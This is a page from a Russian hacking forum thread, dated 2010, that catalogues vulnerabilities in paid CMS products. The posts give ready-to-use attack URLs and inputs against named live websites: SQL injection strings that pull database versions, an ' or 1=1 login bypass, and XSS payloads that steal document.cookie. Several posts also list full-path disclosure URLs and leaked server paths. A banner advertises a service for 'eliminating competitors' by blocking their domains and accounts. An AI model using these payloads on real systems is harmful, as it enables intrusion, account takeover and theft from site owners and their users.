Обзор уязвимостей в платных CMS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
Обзор уязвимостей в платных CMS

Страница 7 из 10

« Первая

Опции темы

Поиск в этой теме

Опции просмотра

#61

25.09.2010, 03:55

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

С нами: 8603287

Репутация: 87

intellisite® CMS

Passive XSS

off site: http://www.intellisite.ch/index.php?nav= [XSS]

alert(01010)

+ в Поиске

#62

23.10.2010, 03:46

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

С нами: 8603287

Репутация: 87

Fastpublish CMS 2.0.x

SQL injection

/aufbau/comment.php

Пример:

Код:

http://www.fastpublish.de/aufbau/comment.php?artikel=106' limit 0 union select 1,0x6465,3,4,5,6,7,8,9,version(),11,12,13,14,15,16  ,17,18,19,0x434d53,21 --+1&popup=true

Путь+USER: http://www.fastpublish.de/aufbau/comment.php?artikel=106

Код:

wwwrun@localhost

Код:


/www/htdocs/w0081419/Original_Neu/aufbau/comment.php

[/COLOR]

#63

25.10.2010, 02:51

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

С нами: 8603287

Репутация: 87

Nexecuttive CMS

офф сайт: http://nexecutive.de/

SQL Injection:

Код:

http://nexecutive.de/glossar.php?i=glossary&g=showDef&categoryID=16+and+substring(version(),1,1)=3

(3.23.58-log) -версия.

Можно делать UPDATE:

Код:

http://nexecutive.de/update_nexecutive_db.php

Активная xss:

При регистрации, почти все поля.

Код:

http://nexecutive.de/index.php?i=register&languCode=de

Пассивная xss:

Код:

http://nexecutive.de/cms-shop.php?i=nexec_detail&ktID=33&categoryID=48">alert(document.cookie)

и во многих других местах

Путь:

Код:

http://nexecutive.de/spaw2/dialogs/dialog.php
http://nexecutive.de/logIn_openID.php
http://nexecutive.de/nexeclib/geomarkers.php
http://nexecutive.de/admin_modul/admin_admin.php
http://nexecutive.de/spaw2/spaw.inc.php

#64

25.10.2010, 19:24

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

С нами: 8603287

Репутация: 87

OMECO®webshop 4.0

BLIND SQL INJECTION

Пример:

Цитата:

Сообщение от None

http://shop.omeco.de/item/23/0/0/26/index.omeco?PHPSESSID=5aa879eab916e4eaee5d119db59b 8e88&ARTICLEID=26 or (select count(*) from (select 1 union select 2 union select 3)x group by concat(version(),floor(rand(0)*2)))--&COMEFROM=&EVENT=item&ACT=insert&MENGE=1&insertbut ton=Bestellen

Result:

Код:

Duplicate entry '4.1.221' for key 1

SQL INJECTION AUTHORIZATION BYPASS

Цитата:

Сообщение от None

http://shop.omeco.de/index.omeco?EVENT=showCustomer&scriptMode=order&PH PSESSID=5aa879eab916e4eaee5d119db59b8e88

Ihr Login: ' or 1=1# 1

Passwort: ' or 1=1# 1

Активная xss

При регистрации почти все поля уязвимы

вписуем

Код:

document.body.innerHTML ="body{ visibility:hidden; }

или что-то другое

OMECO®webcontent CMS

Пассивная xss:

http://www.omeco.de/

В Поиске: ">alert(xss)

#65

27.10.2010, 01:36

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

С нами: 8603287

Репутация: 87

SiteYouSelf CMS

Офф сайт: http://www.siteyourself.de/

xss inj.

Код:

http://www.siteyourself.de/start.php?sys_suche=aa">alert(document.cookie)&Button.x=19&Button.y=15&seitenid=43&seiteninhaltid=69&langid=1

Путь:

http://www.siteyourself.de/start.php?sys_suche=&Button.x=19&Button.y=15&seite nid=43&seiteninhaltid=-69

#66

29.10.2010, 22:19

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

С нами: 8603287

Репутация: 87

Web2Date v7.0

off site: http://www.databecker.de/ 178,50 EUR

Цитата:

Сообщение от None

XSS INJ.
https://www.databecker.de/shop/data-becker-newsletter-center/index.php
E-Mail* - Vorname - Nachname
https://www.databecker.de/pagedb.php?TemplateCategory=Kundenkonto-Gutschein
в Поле: ">alert(document.cookie)
https://www.databecker.de/pagedb.php?TemplateCategory=UsrTpl-newsdienste&mode=unsub">alert(document.cookie)
http://webservices.databecker.de/?Page=ProductChoiceIS
активка

Цитата:

Сообщение от None

Путь:
https://www.databecker.de/shop/s2duser.php?sid[]=
https://www.databecker.de/shop/s2dlogin.php?r[]=
https://www.databecker.de/shop/s2duser.php?m[]=edit&r= (нужно быть авторизованым)
https://www.databecker.de/pagedb.php?d_p=&S2DSESS=-2bf5a6f3d487d21db4330b13c7337bf9 (В Opera)

#67

30.11.2010, 03:26

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

С нами: 8603287

Репутация: 87

Xitex WebContent M1 CMS

Платна

офф сайт: http://webcontent-m1.com/

Passive XSS

Код:

http://webcontent-m1.com/m1/en/buyonline/standard_vs_professional

В поле:

Sign up for free e-newsletter XSS

Please correct you e-mail address

E-mail: alert('xss')

____

Код:

http://webcontent-m1.com/m1/en/buyonline/trial_version
http://webcontent-m1.com/m1/en/contact_us
http://webcontent-m1.com/m1/en/buyonline/overview
http://webcontent-m1.com/m1/en/send_feedback

Нужно минимум 2 поля заполнить хсс кодом.

">alert(document.cookie)

также фильтра нету никакого т.е можно все заполнить кавычками.

#68

01.12.2010, 00:21

~d0s~

Познающий

Регистрация: 17.04.2010

Сообщений: 75

С нами: 8456812

Репутация: 55

JobExpert

http://jobexpert.sd-group.org.ua/

XSS

Уязвим параметр currency

Код:

http://jobexpert.sd-group.org.ua/index.php?ut=competitor&do=search&q=xss&base=vacancy&type=any&id_section=1&id_profession=1t&id_region=1&id_city=1&pay_from=1&currency=alert('d0s')&period=0&records=10

#69

04.12.2010, 04:15

~d0s~

Познающий

Регистрация: 17.04.2010

Сообщений: 75

С нами: 8456812

Репутация: 55

CMS.SSPRO

http://www.sspro.ru/

XSS

Код:

http://www.demo.sspro-soft.ru/?pgid=1&mod=1alert(123)

#70

04.12.2010, 23:23

~d0s~

Познающий

Регистрация: 17.04.2010

Сообщений: 75

С нами: 8456812

Репутация: 55

IBPRO CMS

http://cms.ibpro.com.ua/

XSS

Код:

http://cms.ibpro.com.ua/search/?qs=alert('d0s')

Страница 7 из 10

« Первая

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
[ Обзор уязвимостей WordPress ]	ettee	Веб-уязвимости	383	23.11.2019 05:00
[ Обзор уязвимостей miniBB ]	-=lebed=-	Уязвимости CMS / форумов	3	12.01.2008 20:57
Статья обзор уязвимостей бесплатных почтовых сервисов	markel	Уязвимости Mail-сервис	3	12.09.2005 10:07
Обзор рынка взломщиков электронной почты, март2004	Игорь Белкин	Уязвимости Mail-сервис	5	25.03.2004 12:32

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход